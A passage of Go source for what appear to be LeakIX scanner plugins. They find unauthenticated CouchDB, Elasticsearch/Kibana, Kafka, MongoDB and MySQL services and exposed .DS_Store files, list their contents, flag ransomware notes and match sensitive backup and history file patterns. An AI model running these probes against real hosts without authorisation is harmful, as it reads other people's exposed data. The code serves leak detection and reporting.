141 | jsonDecocer := json.NewDecoder(resp.Body) 142 | err = jsonDecocer.Decode(&dbInfo) 143 | resp.Body.Close() 144 | if err != nil { 145 | log.Println("can't read body:", err) 146 | return nil 147 | } 148 | return dbInfo 149 | } 150 | 151 | // Helper to generate HTTP address 152 | func (plugin CouchDbOpenPlugin) GetAddress(event *l9format.L9Event) string { 153 | address := net.JoinHostPort(event.Ip, event.Port) 154 | scheme := "http" 155 | if event.Host != "" { 156 | address = net.JoinHostPort(event.Host, event.Port) 157 | } 158 | if event.HasTransport("tls") { 159 | scheme = "https" 160 | } 161 | return scheme + "://" + address 162 | } 163 | 164 | // Minimal structure returned from the info endpoint 165 | type DatabaseInfo struct { 166 | Info struct { 167 | Name string `json:"db_name"` 168 | DocCount int64 `json:"doc_count"` 169 | DiskSize int64 `json:"disk_size"` 170 | } `json:"info"` 171 | } 172 | 173 | // Splits a list by chunks 174 | func (plugin CouchDbOpenPlugin) chunkBy(items []string, chunkSize int) (chunks [][]string) { 175 | for chunkSize < len(items) { 176 | items, chunks = items[chunkSize:], append(chunks, items[0:chunkSize:chunkSize]) 177 | } 178 | return append(chunks, items) 179 | } 180 | -------------------------------------------------------------------------------- /tcp/dotdsstore_open.go: -------------------------------------------------------------------------------- 1 | package tcp 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "github.com/LeakIX/l9format" 7 | "github.com/gehaxelt/ds_store" 8 | "io" 9 | "io/ioutil" 10 | "log" 11 | "net/http" 12 | "regexp" 13 | "strings" 14 | ) 15 | 16 | type DotDsStoreOpenPlugin struct { 17 | l9format.ServicePluginBase 18 | } 19 | 20 | func (DotDsStoreOpenPlugin) GetVersion() (int, int, int) { 21 | return 0, 0, 1 22 | } 23 | 24 | func (DotDsStoreOpenPlugin) GetProtocols() []string { 25 | return []string{"http", "https"} 26 | } 27 | 28 | func (DotDsStoreOpenPlugin) GetName() string { 29 | return "DotDsStoreOpenPlugin" 30 | } 31 | 32 | func (DotDsStoreOpenPlugin) GetStage() string { 33 | return "open" 34 | } 35 | 36 | func (plugin DotDsStoreOpenPlugin) Run(ctx context.Context, event *l9format.L9Event, options map[string]string) (hasLeak bool) { 37 | log.Printf("Discovering %s ...", event.Url()) 38 | results := plugin.getDsStoreFiles(ctx, event, event.Url(), "/") 39 | if len(results) > 0 { 40 | event.Summary = fmt.Sprintf("Found %d files trough .DS_Store spidering:\n\n", len(results)) 41 | event.Summary += strings.Join(results, "\n") 42 | event.Leak.Severity = l9format.SEVERITY_LOW 43 | if len(results) > 32 { 44 | event.Leak.Severity = l9format.SEVERITY_MEDIUM 45 | } 46 | if len(checkSensitiveFilePatterns(results)) > 0 { 47 | event.Leak.Severity = l9format.SEVERITY_HIGH 48 | } 49 | return true 50 | } 51 | return false 52 | } 53 | 54 | var sensitiveFilePatterns = []string{ 55 | ".*back$", 56 | ".*backup$", 57 | ".*swp$", 58 | ".*sql$", 59 | ".*zip$", 60 | ".*gz$", 61 | ".*rar$", 62 | ".*7z$", 63 | ".*_history$", 64 | } 65 | 66 | func checkSensitiveFilePatterns(files []string) (matches []string) { 67 | for _, file := range files { 68 | for _, sensitiveFilePattern := range sensitiveFilePatterns { 69 | if match, err := regexp.MatchString(sensitiveFilePattern, file); err == nil && match { 70 | matches = append(matches, file) 71 | // Don't match 2 patterns, proceed to next file 72 | break 73 | } 74 | } 75 | } 76 | return matches 77 | } 78 | 79 | func (plugin DotDsStoreOpenPlugin) getDsStoreFiles(ctx context.Context, event *l9format.L9Event, rootUrl, path string) (results []string) { 80 | history := make(map[string]bool) 81 | if strings.HasPrefix(path, "/") || strings.HasSuffix(path, "/") { 82 | path = strings.Trim(path, "/") 83 | } 84 | if !strings.HasSuffix(rootUrl, "/") && len(path) > 0 { 85 | rootUrl += "/" 86 | } 87 | checkUrl := rootUrl + path + "/.DS_Store" 88 | log.Printf("Checking %s", checkUrl) 89 | req, err := http.NewRequest("GET", checkUrl, nil) 90 | if err != nil { 91 | log.Println(err) 92 | return results 93 | } 94 | resp, err := plugin.GetHttpClient(ctx, event.Ip, event.Port).Do(req) 95 | if err != nil { 96 | log.Println(err) 97 | return results 98 | } 99 | defer resp.Body.Close() 100 | bodyBytes, err := ioutil.ReadAll(io.LimitReader(resp.Body, 1024*1024)) 101 | if err != nil { 102 | log.Println(err) 103 | return 104 | } 105 | allocator, err := ds_store.NewAllocator(bodyBytes) 106 | if err != nil { 107 | log.Println(err) 108 | return 109 | } 110 | filenames, err := allocator.TraverseFromRootNode() 111 | if err != nil { 112 | log.Println(err) 113 | return 114 | } 115 | for _, filename := range filenames { 116 | if filename == "." { 117 | continue 118 | } 119 | if _, found := history[filename]; !found { 120 | history[filename] = true 121 | } else { 122 | continue 123 | } 124 | event.Leak.Dataset.Files++ 125 | if event.Leak.Dataset.Files > 128 { 126 | return results 127 | } 128 | if len(path) > 0 { 129 | results = append(results, "/"+path+"/"+filename) 130 | } else { 131 | results = append(results, "/"+filename) 132 | } 133 | if !strings.Contains(filename, ".") || strings.HasPrefix(filename, ".") { 134 | results = append(results, plugin.getDsStoreFiles(ctx, event, rootUrl, path+"/"+filename)...) 135 | } 136 | } 137 | return results 138 | } 139 | -------------------------------------------------------------------------------- /tcp/elasticsearch_explore.go: -------------------------------------------------------------------------------- 1 | package tcp 2 | 3 | import ( 4 | "context" 5 | "encoding/json" 6 | "fmt" 7 | "github.com/LeakIX/l9format" 8 | "github.com/LeakIX/l9format/utils" 9 | "io/ioutil" 10 | "log" 11 | "net/http" 12 | url2 "net/url" 13 | "strconv" 14 | "strings" 15 | ) 16 | 17 | type ElasticSearchExplorePlugin struct { 18 | l9format.ServicePluginBase 19 | } 20 | 21 | func (ElasticSearchExplorePlugin) GetVersion() (int, int, int) { 22 | return 0, 0, 1 23 | } 24 | 25 | func (ElasticSearchExplorePlugin) GetProtocols() []string { 26 | return []string{"elasticsearch", "kibana"} 27 | } 28 | 29 | func (ElasticSearchExplorePlugin) GetName() string { 30 | return "ElasticSearchExplorePlugin" 31 | } 32 | 33 | func (ElasticSearchExplorePlugin) GetStage() string { 34 | return "explore" 35 | } 36 | 37 | var ElasticSearchExplorePluginUA = "l9plugin-ElasticSearchExplorePlugin/v1.0.0 (+https://leakix.net/)" 38 | 39 | // Get info 40 | func (plugin ElasticSearchExplorePlugin) Run(ctx context.Context, event *l9format.L9Event, options map[string]string) (hasLeak bool) { 41 | log.Printf("Discovering %s ...", event.Url()) 42 | path := "/_cat/indices?format=json&bytes=b" 43 | ransomPath := "/%s/_search?size=1" 44 | method := "GET" 45 | if event.Protocol == "kibana" { 46 | majorVersion := 0 47 | versionSplit := strings.Split(event.Service.Software.Version, ".") 48 | if len(versionSplit) > 1 { 49 | majorVersion, _ = strconv.Atoi(versionSplit[0]) 50 | } 51 | method = "POST" 52 | path = "/api/console/proxy?path=" + url2.QueryEscape("/_cat/indices?format=json&bytes=b") + "&method=GET" 53 | ransomPath = "/api/console/proxy?path=/%s/_search" + url2.QueryEscape("?size=1") + "&method=POST" 54 | if majorVersion != 0 && majorVersion < 5 { 55 | method = "GET" 56 | path = "/elasticsearch/_cat/indices?format=json&bytes=b" 57 | ransomPath = "/elasticsearch/%s/_search?size=1" 58 | } 59 | event.Summary += "Through Kibana endpoint\n" 60 | } 61 | req, err := http.NewRequest(method, fmt.Sprintf("%s%s", event.Url(), path), nil) 62 | if err != nil { 63 | log.Println(err) 64 | return false 65 | } 66 | req.Header["User-Agent"] = []string{ElasticSearchExplorePluginUA} 67 | req.Header["kbn-xsrf"] = []string{"true"} 68 | if len(event.Service.Software.Version) > 3 { 69 | req.Header["kbn-version"] = []string{event.Service.Software.Version} 70 | } 71 | if err != nil { 72 | log.Println("can't create request:", err) 73 | return false 74 | } 75 | // use the http client to fetch the page 76 | resp, err := plugin.GetHttpClient(ctx, event.Ip, event.Port).Do(req) 77 | if err != nil { 78 | log.Println("can't GET page:", err) 79 | return false 80 | } 81 | defer resp.Body.Close() 82 | httpReply, err := ioutil.ReadAll(resp.Body) 83 | if err != nil { 84 | log.Println("can't read body:", err) 85 | return false 86 | } 87 | esReply := ElasticSearchCatIndicesResponse{} 88 | err = json.Unmarshal(httpReply, &esReply) 89 | if err != nil { 90 | log.Println("can't parse body:", err) 91 | return false 92 | } 93 | // check if we got indices 94 | if len(esReply) < 1 { 95 | return false 96 | } 97 | log.Printf("Found %d indices on ES endpoint", len(esReply)) 98 | for _, esIndex := range esReply { 99 | if indexSize, err := strconv.ParseInt(esIndex.IndexSize, 10, 64); err == nil { 100 | event.Summary += fmt.Sprintf("Found index %s with %s documents (%s)\n", esIndex.Name, esIndex.DocCount, utils.HumanByteCount(indexSize)) 101 | } else { 102 | event.Summary += fmt.Sprintf("Found index %s with %s documents (%s)\n", esIndex.Name, esIndex.DocCount, esIndex.IndexSize) 103 | } 104 | event.Leak.Dataset.Collections++ 105 | if docCount, err := strconv.ParseInt(esIndex.DocCount, 10, 64); err == nil { 106 | event.Leak.Dataset.Rows += docCount 107 | } 108 | if indexSize, err := strconv.ParseInt(esIndex.IndexSize, 10, 64); err == nil { 109 | event.Leak.Dataset.Size += indexSize 110 | } 111 | if strings.Contains(esIndex.Name, "meow") || strings.Contains(esIndex.Name, "hello") || 112 | (strings.HasPrefix(esIndex.Name, "read") && strings.HasSuffix(esIndex.Name, "me")) { 113 | event.Leak.Dataset.Infected = true 114 | if ransomNote, found := plugin.GetRansomNote(ctx, fmt.Sprintf(ransomPath, esIndex.Name), event); found { 115 | event.Leak.Dataset.RansomNotes = append(event.Leak.Dataset.RansomNotes, ransomNote) 116 | } 117 | 118 | } 119 | } 120 | event.Summary = fmt.Sprintf("Indices: %d, document count: %d, size: %s\n", 121 | event.Leak.Dataset.Collections, event.Leak.Dataset.Rows, utils.HumanByteCount(event.Leak.Dataset.Size)) + 122 | event.Summary 123 | event.Leak.Severity = l9format.SEVERITY_MEDIUM 124 | if event.Leak.Dataset.Infected { 125 | event.Leak.Severity = l9format.SEVERITY_HIGH 126 | } 127 | if event.Leak.Dataset.Rows > 1000 { 128 | event.Leak.Severity = l9format.SEVERITY_HIGH 129 | if event.Leak.Dataset.Infected { 130 | event.Leak.Severity = l9format.SEVERITY_CRITICAL 131 | } 132 | } 133 | // Short leak, a second one will contain indices stats & co 134 | return true 135 | } 136 | 137 | func (plugin ElasticSearchExplorePlugin) GetRansomNote(ctx context.Context, url string, event *l9format.L9Event) (ransomNote string, found bool) { 138 | req, err := http.NewRequest("POST", fmt.Sprintf("%s%s", event.Url(), url), nil) 139 | req.Header["User-Agent"] = []string{ElasticSearchExplorePluginUA} 140 | req.Header["kbn-xsrf"] = []string{"true"} 141 | if len(event.Service.Software.Version) > 3 { 142 | req.Header["kbn-version"] = []string{event.Service.Software.Version} 143 | } 144 | if err != nil { 145 | log.Println("can't create request:", err) 146 | return "", false 147 | } 148 | // use the http client to fetch the page 149 | resp, err := plugin.GetHttpClient(ctx, event.Ip, event.Port).Do(req) 150 | if err != nil { 151 | log.Println("can't GET page:", err) 152 | return "", false 153 | } 154 | defer resp.Body.Close() 155 | httpReply, err := ioutil.ReadAll(resp.Body) 156 | if err != nil { 157 | log.Println("can't read body:", err) 158 | return "", false 159 | } 160 | esReply := ElasticSearchResponse{} 161 | err = json.Unmarshal(httpReply, &esReply) 162 | if len(esReply.Hits.Hits) == 1 { 163 | return string(esReply.Hits.Hits[0].Source), true 164 | } 165 | return "", false 166 | } 167 | 168 | type ElasticSearchResponse struct { 169 | Hits struct { 170 | Hits []struct { 171 | Source json.RawMessage `json:"_source"` 172 | } `json:"hits"` 173 | } `json:"hits"` 174 | } 175 | 176 | type ElasticSearchCatIndicesResponse []struct { 177 | Health string `json:"health"` 178 | Status string `json:"status"` 179 | Name string `json:"index"` 180 | DocCount string `json:"docs.count"` 181 | IndexSize string `json:"pri.store.size"` 182 | } 183 | -------------------------------------------------------------------------------- /tcp/elasticsearch_open.go: -------------------------------------------------------------------------------- 1 | package tcp 2 | 3 | import ( 4 | "context" 5 | "encoding/json" 6 | "fmt" 7 | "github.com/LeakIX/l9format" 8 | "io/ioutil" 9 | "log" 10 | "net/http" 11 | url2 "net/url" 12 | "strconv" 13 | "strings" 14 | ) 15 | 16 | type ElasticSearchOpenPlugin struct { 17 | l9format.ServicePluginBase 18 | } 19 | 20 | func (ElasticSearchOpenPlugin) GetVersion() (int, int, int) { 21 | return 0, 0, 1 22 | } 23 | 24 | func (ElasticSearchOpenPlugin) GetProtocols() []string { 25 | return []string{"elasticsearch", "kibana"} 26 | } 27 | 28 | func (ElasticSearchOpenPlugin) GetName() string { 29 | return "ElasticSearchOpenPlugin" 30 | } 31 | 32 | func (ElasticSearchOpenPlugin) GetStage() string { 33 | return "open" 34 | } 35 | 36 | // Get info 37 | func (plugin ElasticSearchOpenPlugin) Run(ctx context.Context, event *l9format.L9Event, options map[string]string) (hasLeak bool) { 38 | log.Printf("Discovering %s ...", event.Url()) 39 | url := "/_nodes" 40 | method := "GET" 41 | // Requires deep-http from l9tcpid 42 | if event.Protocol == "kibana" { 43 | majorVersion := 0 44 | versionSplit := strings.Split(event.Service.Software.Version, ".") 45 | if len(versionSplit) > 1 { 46 | majorVersion, _ = strconv.Atoi(versionSplit[0]) 47 | } 48 | method = "POST" 49 | url = "/api/console/proxy?path=" + url2.QueryEscape("/_nodes") + "&method=GET" 50 | if majorVersion != 0 && majorVersion < 5 { 51 | method = "GET" 52 | url = "/elasticsearch/_nodes" 53 | } 54 | event.Summary += "Through Kibana endpoint\n" 55 | event.Service.Software.Name = "Kibana" 56 | } else { 57 | event.Service.Software.Name = "Elasticsearch" 58 | } 59 | req, err := http.NewRequest(method, fmt.Sprintf("%s%s", event.Url(), url), nil) 60 | req.Header["User-Agent"] = []string{"l9plugin-ElasticSearchOpenPlugin/v1.0.0 (+https://leakix.net/)"} 61 | req.Header["kbn-xsrf"] = []string{"true"} 62 | if len(event.Service.Software.Version) > 3 && event.Protocol == "kibana" { 63 | req.Header["kbn-version"] = []string{event.Service.Software.Version} 64 | } 65 | if err != nil { 66 | log.Println("can't create request:", err) 67 | return false 68 | } 69 | // use the http client to fetch the page 70 | resp, err := plugin.GetHttpClient(ctx, event.Ip, event.Port).Do(req) 71 | if err != nil { 72 | log.Println("can't GET page:", err) 73 | return false 74 | } 75 | defer resp.Body.Close() 76 | httpReply, err := ioutil.ReadAll(resp.Body) 77 | if err != nil { 78 | log.Println("can't read body:", err) 79 | return false 80 | } 81 | esReply := ElasticSearchCatNodesResponse{} 82 | err = json.Unmarshal(httpReply, &esReply) 83 | if err != nil { 84 | log.Println("can't parse body:", err) 85 | return false 86 | } 87 | // check if we got stg in tagline 88 | if len(esReply.Nodes) < 1 { 89 | return false 90 | } 91 | hasLeak = true 92 | log.Printf("Found %d nodes on ES endpoint, using first only", len(esReply.Nodes)) 93 | for _, node := range esReply.Nodes { 94 | if event.Protocol == "elasticsearch" { 95 | event.Service.Software.Version = node.Version 96 | } 97 | event.Service.Software.OperatingSystem = node.OperatingSystem.Name + " " + node.OperatingSystem.Version 98 | break 99 | } 100 | // There's no index summary we can find in our reply, dispatch to explore a F** it :) 101 | event.Service.Credentials = l9format.ServiceCredentials{NoAuth: true} 102 | event.Summary += "NoAuth\n" 103 | event.Summary += "Cluster info:\n" 104 | event.Summary += string(httpReply) 105 | return true 106 | } 107 | 108 | // First thing we tried, turns out node API has more info we like 109 | type ElasticSearchGreetResponse struct { 110 | Name string `json:"name"` 111 | ClusterName string `json:"cluster_name"` 112 | ClusterUuid string `json:"cluster_uuid"` 113 | TagLine string `json:"tagline"` 114 | Version struct { 115 | Number string `json:"number"` 116 | BuildFlavor string `json:"build_flavor"` 117 | BuildType string `json:"build_type"` 118 | BuildHash string `json:"build_hash"` 119 | BuildDate string `json:"build_date"` 120 | BuildSnapshot bool `json:"build_snapshot"` 121 | LuceneVersion string `json:"lucene_version"` 122 | MinimumWireCompatibilityVersion string `json:"minimum_wire_compatibility_version"` 123 | MinimumIndexCompatibilityVersion string `json:"minimum_index_compatibility_version"` 124 | } `json:"version"` 125 | } 126 | 127 | type ElasticSearchCatNodesResponse struct { 128 | NodesSumary struct { 129 | Total int `json:"total"` 130 | Successful int `json:"successful"` 131 | Failed int `json:"failed"` 132 | } `json:"_nodes"` 133 | Nodes map[string]struct { 134 | Version string `json:"version"` 135 | OperatingSystem struct { 136 | Name string `json:"pretty_name"` 137 | Version string `json:"version"` 138 | } `json:"os"` 139 | } `json:"nodes"` 140 | } 141 | -------------------------------------------------------------------------------- /tcp/kafka_open.go: -------------------------------------------------------------------------------- 1 | package tcp 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "github.com/LeakIX/l9format" 7 | "github.com/Shopify/sarama" 8 | "log" 9 | "net" 10 | "time" 11 | ) 12 | 13 | type KafkaOpenPlugin struct { 14 | l9format.ServicePluginBase 15 | } 16 | 17 | func (KafkaOpenPlugin) GetVersion() (int, int, int) { 18 | return 0, 0, 1 19 | } 20 | 21 | func (KafkaOpenPlugin) GetProtocols() []string { 22 | return []string{"kafka"} 23 | } 24 | 25 | func (KafkaOpenPlugin) GetName() string { 26 | return "KafkaOpenPlugin" 27 | } 28 | 29 | func (KafkaOpenPlugin) GetStage() string { 30 | return "open" 31 | } 32 | 33 | // Get info 34 | func (plugin KafkaOpenPlugin) Run(ctx context.Context, event *l9format.L9Event, pluginOptions map[string]string) (hasLeak bool) { 35 | config := sarama.NewConfig() 36 | deadline, hasDeadline := ctx.Deadline() 37 | if hasDeadline { 38 | config.Net.DialTimeout = deadline.Sub(time.Now()) 39 | } else { 40 | config.Net.DialTimeout = 5 * time.Second 41 | } 42 | config.Consumer.Return.Errors = true 43 | 44 | //kafka end point 45 | brokers := []string{net.JoinHostPort(event.Ip, event.Port)} 46 | cluster, err := sarama.NewConsumer(brokers, config) 47 | if err != nil { 48 | log.Println(err) 49 | return false 50 | } 51 | defer cluster.Close() 52 | topics, err := cluster.Topics() 53 | if err != nil || len(topics) < 1 { 54 | log.Println(err) 55 | return false 56 | } 57 | event.Summary = "NoAuth\n" 58 | for _, topic := range topics { 59 | event.Summary += fmt.Sprintf("Found topic %s\n", topic) 60 | } 61 | return true 62 | } 63 | -------------------------------------------------------------------------------- /tcp/mongo_explore.go: -------------------------------------------------------------------------------- 1 | package tcp 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "github.com/LeakIX/l9format" 7 | "github.com/LeakIX/l9format/utils" 8 | "go.mongodb.org/mongo-driver/bson" 9 | "go.mongodb.org/mongo-driver/mongo" 10 | "go.mongodb.org/mongo-driver/mongo/options" 11 | "log" 12 | "net" 13 | "strings" 14 | ) 15 | 16 | type MongoSchemaPlugin struct { 17 | l9format.ServicePluginBase 18 | } 19 | 20 | func (MongoSchemaPlugin) GetVersion() (int, int, int) { 21 | return 0, 1, 1 22 | } 23 | 24 | func (MongoSchemaPlugin) GetProtocols() []string { 25 | return []string{"mongo"} 26 | } 27 | 28 | func (MongoSchemaPlugin) GetName() string { 29 | return "MongoSchemaPlugin" 30 | } 31 | 32 | func (MongoSchemaPlugin) GetStage() string { 33 | return "explore" 34 | } 35 | 36 | func (plugin MongoSchemaPlugin) Run(ctx context.Context, event *l9format.L9Event, pluginOptions map[string]string) (hasLeak bool) { 37 | log.Printf("Trying mongodb://%s", net.JoinHostPort(event.Ip, event.Port)) 38 | mongoUrl := fmt.Sprintf("mongodb://%s/", net.JoinHostPort(event.Ip, event.Port)) 39 | if event.HasTransport("tls") { 40 | mongoUrl += "?tls=true&tlsAllowInvalidCertificates=true&tlsInsecure=true" 41 | } 42 | client, err := mongo.Connect( 43 | ctx, options.Client().ApplyURI(mongoUrl).SetDialer(plugin)) 44 | if err != nil { 45 | log.Println("Connect error: " + err.Error()) 46 | return false 47 | } 48 | defer client.Disconnect(nil) 49 | dbList, err := client.ListDatabases(ctx, bson.D{{}}) 50 | if err != nil { 51 | log.Println("ListDB error: " + err.Error()) 52 | return false 53 | } 54 | for _, dbInfo := range dbList.Databases { 55 | db := client.Database(dbInfo.Name) 56 | collections, err := db.ListCollectionNames(ctx, bson.D{{}}) 57 | if err != nil { 58 | continue 59 | } 60 | if strings.Contains(dbInfo.Name, "READ_ME") || strings.Contains(dbInfo.Name, "WARNING") || strings.Contains(dbInfo.Name, "meow") { 61 | event.Leak.Dataset.Infected = true 62 | } 63 | for _, collectionName := range collections { 64 | if strings.Contains(collectionName, "READ_ME") || strings.Contains(collectionName, "WARNING") || strings.Contains(collectionName, "meow") { 65 | event.Leak.Dataset.Infected = true 66 | } 67 | event.Leak.Dataset.Collections++ 68 | event.Summary += fmt.Sprintf("Found collection %s.%s ", dbInfo.Name, collectionName) 69 | result := db.RunCommand(ctx, bson.D{{"collStats", collectionName}, {"scale", 1}}) 70 | if result.Err() == nil { 71 | collectionStats := &MongoCollectionDetails{} 72 | err = result.Decode(&collectionStats) 73 | if err == nil { 74 | event.Leak.Dataset.Rows += collectionStats.Count 75 | event.Leak.Dataset.Size += collectionStats.Size 76 | event.Summary += fmt.Sprintf(" with %d documents (%s)", collectionStats.Count, utils.HumanByteCount(collectionStats.Size)) 77 | } else { 78 | log.Println(err.Error()) 79 | } 80 | } else { 81 | log.Println(result.Err().Error()) 82 | } 83 | event.Summary += "\n" 84 | log.Printf("Found collection %s.%s\n", dbInfo.Name, collectionName) 85 | } 86 | } 87 | if event.Leak.Dataset.Collections < 1 { 88 | return false 89 | } 90 | event.Summary = fmt.Sprintf("Collections: %d, document count: %d, size: %s\n", 91 | event.Leak.Dataset.Collections, event.Leak.Dataset.Rows, utils.HumanByteCount(event.Leak.Dataset.Size)) + 92 | event.Summary 93 | event.Leak.Severity = l9format.SEVERITY_MEDIUM 94 | if event.Leak.Dataset.Infected { 95 | event.Leak.Severity = l9format.SEVERITY_HIGH 96 | } 97 | if event.Leak.Dataset.Rows > 1000 { 98 | event.Leak.Severity = l9format.SEVERITY_HIGH 99 | if event.Leak.Dataset.Infected { 100 | event.Leak.Severity = l9format.SEVERITY_CRITICAL 101 | } 102 | } 103 | return true 104 | } 105 | 106 | type MongoCollectionDetails struct { 107 | Count int64 `json:"count"` 108 | Size int64 `json:"storageSize"` 109 | } 110 | -------------------------------------------------------------------------------- /tcp/mongo_open.go: -------------------------------------------------------------------------------- 1 | package tcp 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "github.com/LeakIX/l9format" 7 | "go.mongodb.org/mongo-driver/x/mongo/driver" 8 | "go.mongodb.org/mongo-driver/x/mongo/driver/connstring" 9 | "go.mongodb.org/mongo-driver/x/mongo/driver/operation" 10 | "go.mongodb.org/mongo-driver/x/mongo/driver/topology" 11 | "log" 12 | "net" 13 | "time" 14 | ) 15 | 16 | type MongoOpenPlugin struct { 17 | l9format.ServicePluginBase 18 | } 19 | 20 | // Implement interface : 21 | func (MongoOpenPlugin) GetVersion() (int, int, int) { 22 | return 0, 0, 1 23 | } 24 | func (MongoOpenPlugin) GetProtocols() []string { 25 | return []string{"mongo"} 26 | } 27 | func (MongoOpenPlugin) GetName() string { 28 | return "MongoOpenPlugin" 29 | } 30 | 31 | func (MongoOpenPlugin) GetStage() string { 32 | return l9format.STAGE_OPEN 33 | } 34 | 35 | func (plugin MongoOpenPlugin) Run(ctx context.Context, event *l9format.L9Event, options map[string]string) (hasLeak bool) { 36 | event.Leak.Severity = l9format.SEVERITY_MEDIUM 37 | event.Leak.Type = "open_database" 38 | //Build client 39 | deadline, hasDeadline := ctx.Deadline() 40 | mongoUrl := fmt.Sprintf("mongodb://%s/", net.JoinHostPort(event.Ip, event.Port)) 41 | if event.HasTransport("tls") { 42 | mongoUrl += "?tls=true&tlsAllowInvalidCertificates=true&tlsInsecure=true" 43 | } 44 | cs, err := connstring.ParseAndValidate(mongoUrl) 45 | if err != nil { 46 | log.Println(err) 47 | event.Summary += err.Error() + "\n" 48 | return false 49 | } 50 | if hasDeadline { 51 | cs.ConnectTimeout = deadline.Sub(time.Now()) 52 | } 53 | tp, err := topology.New(topology.WithConnString(func(connstring.ConnString) connstring.ConnString { return cs })) 54 | if err != nil { 55 | log.Println(err) 56 | return false 57 | } 58 | err = tp.Connect() 59 | if err != nil { 60 | log.Println(err) 61 | event.Summary += err.Error() + "\n" 62 | return false 63 | } 64 | defer tp.Disconnect(ctx) 65 | // List collections 66 | op := operation.NewListCollections(nil).Deployment(tp).Database("admin") 67 | err = op.Execute(ctx) 68 | if err != nil { 69 | log.Println(err) 70 | event.Summary += err.Error() + "\n" 71 | return false 72 | } 73 | cursor, err := op.Result(driver.CursorOptions{BatchSize: 20}) 74 | if err != nil { 75 | log.Println(err) 76 | event.Summary += err.Error() + "\n" 77 | return false 78 | } 79 | for cursor.Next(ctx) { 80 | documents, err := cursor.Batch().Documents() 81 | if err != nil { 82 | event.Summary += err.Error() + "\n" 83 | return false 84 | } 85 | for _, document := range documents { 86 | event.Leak.Dataset.Collections++ 87 | event.Summary += fmt.Sprintf("Found collection %s\n", document.Lookup("name").String()) 88 | } 89 | if event.Leak.Dataset.Collections > 128 { 90 | break 91 | } 92 | } 93 | if event.Leak.Dataset.Collections > 0 { 94 | event.Summary = fmt.Sprintf("Found %d collections:\n%s", event.Leak.Dataset.Collections, event.Summary) 95 | return true 96 | } 97 | return false 98 | } 99 | -------------------------------------------------------------------------------- /tcp/mysql_explore.go: -------------------------------------------------------------------------------- 1 | package tcp 2 | 3 | import ( 4 | "context" 5 | "database/sql" 6 | "fmt" 7 | "github.com/LeakIX/l9format" 8 | "github.com/LeakIX/l9format/utils" 9 | "github.com/go-sql-driver/mysql" 10 | "log" 11 | "net" 12 | "strings" 13 | ) 14 | 15 | type MysqlSchemaPlugin struct { 16 | l9format.ServicePluginBase 17 | } 18 | 19 | func (MysqlSchemaPlugin) GetVersion() (int, int, int) { 20 | return 0, 0, 1 21 | } 22 | 23 | func (MysqlSchemaPlugin) GetProtocols() []string { 24 | return []string{"mysql"} 25 | } 26 | 27 | func (MysqlSchemaPlugin) GetName() string { 28 | return "MysqlSchemaPlugin" 29 | } 30 | 31 | func (MysqlSchemaPlugin) GetStage() string { 32 | return "explore" 33 | } 34 | 35 | func (plugin MysqlSchemaPlugin) Run(ctx context.Context, event *l9format.L9Event, options map[string]string) (hasLeak bool) { 36 | if len(event.Service.Credentials.Username) < 1 { 37 | log.Printf("No credentials found for %s:%s", net.JoinHostPort(event.Host, event.Port)) 38 | return false 39 | } 40 | dsn := fmt.Sprintf("%s@l9tcp(%s)/information_schema?readTimeout=3s&timeout=3s&writeTimeout=3s", event.Service.Credentials.Username, net.JoinHostPort(event.Ip, event.Port)) 41 | if len(event.Service.Credentials.Password) > 0 { 42 | dsn = fmt.Sprintf("%s:%s@l9tcp(%s)/information_schema?readTimeout=3s&timeout=3s&writeTimeout=3s", event.Service.Credentials.Username, event.Service.Credentials.Password, net.JoinHostPort(event.Ip, event.Port)) 43 | } 44 | db, err := sql.Open("mysql", dsn) 45 | if err != nil { 46 | return false 47 | } 48 | defer db.Close() 49 | var databaseName string 50 | var tableName string 51 | var recordCount int64 52 | var dataLength int64 53 | tableListQuery, err := db.QueryContext(ctx, "SELECT TABLE_SCHEMA, TABLE_NAME, TABLE_ROWS, DATA_LENGTH from TABLES where table_schema != 'information_schema' AND table_schema != 'sys' AND table_schema != 'performance_schema';") 54 | if err != nil { 55 | log.Println(err.Error()) 56 | return hasLeak 57 | } 58 | 59 | for tableListQuery.Next() { 60 | tableListQuery.Scan(&databaseName, &tableName, &recordCount, &dataLength) 61 | log.Printf("Found table %s.%s with %d records\n", databaseName, tableName, recordCount) 62 | event.Summary += fmt.Sprintf("Found table %s.%s with %d records\n", databaseName, tableName, recordCount) 63 | event.Leak.Dataset.Rows += recordCount 64 | event.Leak.Dataset.Collections++ 65 | event.Leak.Dataset.Size += dataLength 66 | if strings.Contains(strings.ToLower(tableName), "warning") || strings.HasPrefix(strings.ToLower(tableName), "readme") || strings.HasPrefix(strings.ToLower(tableName), "recover_your_") { 67 | event.Leak.Dataset.Infected = true 68 | if ransomNote, found := plugin.GetRansomNote(ctx, databaseName, tableName, event, db); found { 69 | event.Leak.Dataset.RansomNotes = append(event.Leak.Dataset.RansomNotes, ransomNote) 70 | } 71 | } 72 | } 73 | if event.Leak.Dataset.Collections < 1 { 74 | return false 75 | } 76 | event.Summary = fmt.Sprintf("Databases: %d, row count: %d, size: %s\n", 77 | event.Leak.Dataset.Collections, event.Leak.Dataset.Rows, utils.HumanByteCount(event.Leak.Dataset.Size)) + 78 | event.Summary 79 | event.Leak.Severity = l9format.SEVERITY_MEDIUM 80 | if event.Leak.Dataset.Infected { 81 | event.Leak.Severity = l9format.SEVERITY_HIGH 82 | } 83 | if event.Leak.Dataset.Rows > 1000 { 84 | event.Leak.Severity = l9format.SEVERITY_HIGH 85 | if event.Leak.Dataset.Infected { 86 | event.Leak.Severity = l9format.SEVERITY_CRITICAL 87 | } 88 | } 89 | return true 90 | } 91 | 92 | func (MysqlSchemaPlugin) GetRansomNote(ctx context.Context, databaseName, tableName string, event *l9format.L9Event, db *sql.DB) (ransomNote string, found bool) { 93 | queryResult, err := db.Query(fmt.Sprintf("SELECT * FROM `%s`.`%s` LIMIT 1", databaseName, tableName)) 94 | if err != nil { 95 | log.Println(err) 96 | return "", false 97 | } 98 | queryResult.Next() 99 | columnNames, _ := queryResult.Columns() 100 | results := make([]interface{}, len(columnNames)) 101 | for idx, _ := range results { 102 | theString := "" 103 | results[idx] = &theString 104 | } 105 | var note string 106 | err = queryResult.Scan(results...) 107 | if err != nil { 108 | log.Println(err) 109 | return "", false 110 | } 111 | for _, columnContent := range results { 112 | if columnText, isString := columnContent.(*string); isString && len(*columnText) > 0 { 113 | note += *columnText 114 | } 115 | } 116 | if len(note) 